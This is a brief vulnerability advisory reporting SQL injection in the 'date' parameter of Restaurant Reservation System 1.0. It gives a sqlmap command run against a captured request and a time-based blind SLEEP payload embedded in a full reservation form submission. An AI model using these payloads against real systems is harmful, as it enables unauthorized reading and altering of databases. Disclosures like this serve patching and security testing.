1. Description:

Restaurant Reservation System 1.0 allows SQL Injection via parameter 'date' in
includes/ Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities
in the underlying database.

2. Proof of Concept:

In Burpsuite intercept the request from the affected page with
'date' parameter and save it like re.req. Then run SQLmap to extract the
data from the database:

sqlmap -r re.req --dbms=mysql

3. Example payload:

(time-based blind)

fname=user&lname=user&date=2020-10-14' AND (SELECT 1934 FROM (SELECT(SLEEP(5)))lmWi) AND
'navS'='navS&time=16:00 - 20:00&num_guests=2&tele=123456789&comments=null&reserv-submit=
